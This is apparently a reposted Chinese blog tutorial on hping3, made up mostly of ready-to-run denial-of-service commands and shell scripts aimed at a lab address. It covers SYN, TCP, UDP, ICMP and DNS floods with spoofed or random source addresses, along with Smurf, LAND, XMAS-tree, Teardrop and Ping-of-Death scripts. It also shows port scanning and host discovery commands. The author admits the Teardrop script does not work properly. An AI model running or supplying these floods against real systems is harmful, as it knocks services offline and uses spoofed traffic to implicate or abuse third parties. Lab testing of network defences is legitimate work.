• hping3使用介绍及DoS测试


    hping3使用介绍
    
    端口扫描
    sudo hping3 -I eth1 -S 192.168.180.133 -p 80
    
    SYN Flood
    默认协议:tcp
    默认端口:随机
    默认源地址:攻击者本机IP地址
    
    # 通过eth1,发送SYN报文到 192.168.180.133:80。伪造源地址为192.168.180.131,时间间隔1000us。
    sudo hping3 -I eth1 -S 192.168.180.133 -p 80 -a 192.168.180.131 -i u1000
    
    # 通过eth1,发送SYN报文到192.168.180.133:80,伪造随机源地址,时间间隔1000us。
    sudo hping3 -I eth1 -S 192.168.180.133 -p 80 --rand-source -i u1000
    
    # 通过 eth1,发送SYN报文到192.168.180.133:80,伪造随机源地址,洪水攻击。
    # 洪水攻击,速率最快的攻击,不会显示数据和丢包的统计。
    sudo hping3 -I eth1 -S 192.168.180.133 -p 80 --rand-source --flood
    
    sudo hping3 -c 1000 -d 120 -S -p 80 --flood --rand-source 192.168.180.133
    sudo hping3 -S -P -U -p 80 --flood --rand-source 192.168.180.133
    
    TCP Flood
    
    sudo hping3 -SARUPF -p 80 --flood --rand-source 192.168.180.133
    
    
    UDP Flood
    # 发送udp报文到192.168.180.133:80
    sudo hping3 --udp 192.168.180.133 -p 80
    
    # 发送 udp 报文 到 192.168.1.1:80。伪造随机源地址,洪水攻击。
    sudo hping3 --udp 192.168.180.133 -p 80 --rand-source --flood
    
    sudo hping3 --udp -s 6666 -p 53 -a 29.29.29.29 --flood 192.168.180.133
    
    
    ICMP Flood
    # 发送icmp报文到192.168.180.133
    sudo hping3 --icmp 192.168.180.133
    
    # 发送icmp报文到192.168.180.133,伪造随机源IP地址,供水攻击
    sudo hping3 --icmp 192.168.180.133 --rand-source --flood
    
    sudo hping3 -q -n -d 200 --icmp --flood -a 28.28.28.28 192.168.180.133
    
    
    DNS Flood
    # 发送udp报文到192.168.180.133:53 伪造随机源IP地址,洪水攻击
    sudo hping3 --udp 192.168.180.133 -p 53 --rand-source --flood
    
    Teardrop攻击
    
    基于hping3的测试脚本
    
    #!/bin/bash
    
    function teardrop()
    {
        local victim_ip=$1
        local id_begin=$2
        local id_end=$3
    
        for(( id=${id_begin}; id<${id_end}; id++))
        do
            hping3 --icmp ${victim_ip} --data 1000 --id ${id} --count 1 --morefrag
            hping3 --icmp ${victim_ip} --data 200 --id ${id} --count 1 --fragoff 400
        done
    }
    
    teardrop $*
    
    上述脚本测试有问题
    
    Smurf攻击
    
    保存成shell脚本执行格式如下:
    sudo ./smurf.sh 192.168.180.133 192.168.180.2
    
    #!/bin/bash
    
    function smurf ( )
    {
        local victim_ip=$1
        local broadcast_ip=$2
        hping3 --icmp ${broadcast_ip} -a ${victim_ip} --flood
    }
    
    smurf $*
    
    手动测试
    sudo hping3 -1 -a 192.168.180.133 192.168.180.255
    
    
    XMAS TREE攻击
    
    sudo hping3 -SFRP 192.168.180.133
    
    LAND攻击
    
    LAND攻击方式采用了特别构造的TCP SYN数据包(通常用于开启一个新的连接),使目标机器开启一个源地址与目标地址均为自身IP地址的空连接,持续地自我应答,消耗系统资源直至崩溃,这种攻击方法与SYN洪泛攻击并不相同
    
    将下面代码保存为land.sh
    
    #!/bin/bash
    
    function land()
    {
        local victim_ip=$1
        local victim_port=$2
        hping3 -S ${victim_ip} -p ${victim_port} -a ${victim_ip} --flood
    }
    
    land $*
    
    执行:sudo ./landhping3.sh 192.168.180.133 80
    手动执行:sudo hping3 -n -S -p 80 -a 192.168.180.133 --flood 192.168.180.133
    
    
    Ping of Death俗称"死ping"
    其攻击原理是攻击者A向受害者B发送一些尺寸超大的ICMP(Ping命令使用的是ICMP报文)报文对其进行攻击(对于有些路由器或系统,在接收到一个这样的报文后,由于处理不当,会造成系统崩溃、死机或重启)
    
    将下面代码保存为pingofdeath.sh
    
    #!/bin/bash
    
    function ping_of_death()
    {
        local victim_ip=$1
        local id=186
        local data_size=1450
        let icmp_size=${data_size}+8
        hping3 --icmp ${victim_ip} --data ${data_size} --id ${id} --count 1 --morefrag 
    
        for i in $(seq 50)
        do
            let offset=${i}*${icmp_size}
            hping3 --icmp ${victim_ip} --data ${data_size} --id ${id} --count 1 --morefrag --fragoff $offset
        done
    }
    
    ping_of_death $*
    
    
    执行:sudo ./pingofdeath.sh 192.168.180.133
    
    ICMP测试
    
    sudo hping3 -1 192.168.180.133
    
    数据包跟踪
    
    sudo hping3 --traceroute -V -1 www.qq.com
    
    端口扫描
    
    单端口扫描
    sudo hping3 -I eth1 -p 22 -c 1 -S 192.168.180.133
    返回的信息中含有flags=SA 表示端口是通的 SYN+ACK  ,如果返回flags=RA 则表示端口不通
    
    多端口扫描
    sudo hping3 -I eth1 -8 1-1024 192.168.180.133
    
    返回结果如下:
    kali@kali:~/Downloads/ddos/hping3test$ sudo hping3 -I eth1 -8 1-1024 192.168.180.133
    Scanning 192.168.180.133 (192.168.180.133), port 1-1024
    1024 ports to scan, use -V to see all the replies
    +----+-----------+---------+---+-----+-----+-----+
    |port| serv name |  flags  |ttl| id  | win | len |
    +----+-----------+---------+---+-----+-----+-----+
    All replies received. Done.
    Not responding ports: (21 ftp) (22 ssh) (23 telnet) (25 smtp) (53 domain) (80 http) (111 sunrpc) (139 netbios-ssn) (445 microsoft-d) (512 exec) (513 login) (514 shell)
    
    
    主机发现
    
    for addr in $(seq 1 254);do hping3 192.168.180.$addr -c 1 --icmp >> result.txt & done
    
    
    参考:
    https://wp.baijinming.com/00/id=2576.html
    https://man.linuxde.net/hping3
    https://www.cnblogs.com/liuxinyustu/articles/12808972.html
    https://mochazz.github.io/2017/07/23/hping3/
    http://www.legendwolf.com/?id=57
    迷茫的人生,需要不断努力,才能看清远方模糊的志向!
  • 相关阅读:
    vue---mixins的用法
    vue---slot,slot-scoped,以及2.6版本之后插槽的用法
    Java实现DDD中UnitOfWork
    redis基础及redis特殊场景使用描述
    网易一千零一夜 读后初感
    产品经理与众不同的思维方式与“职业病”——《人人都是产品经理》
    【Ubuntu14】Nginx+PHP5+Mysql记录
    A标签/按钮防止重复提交&页面Loading制作
    PHPCMS v9 二次开发_验证码结合Session开发
    eclipse 编码设置【转】
  • 原文地址:https://www.cnblogs.com/autopwn/p/14690005.html
Copyright © 2020-2023  润新知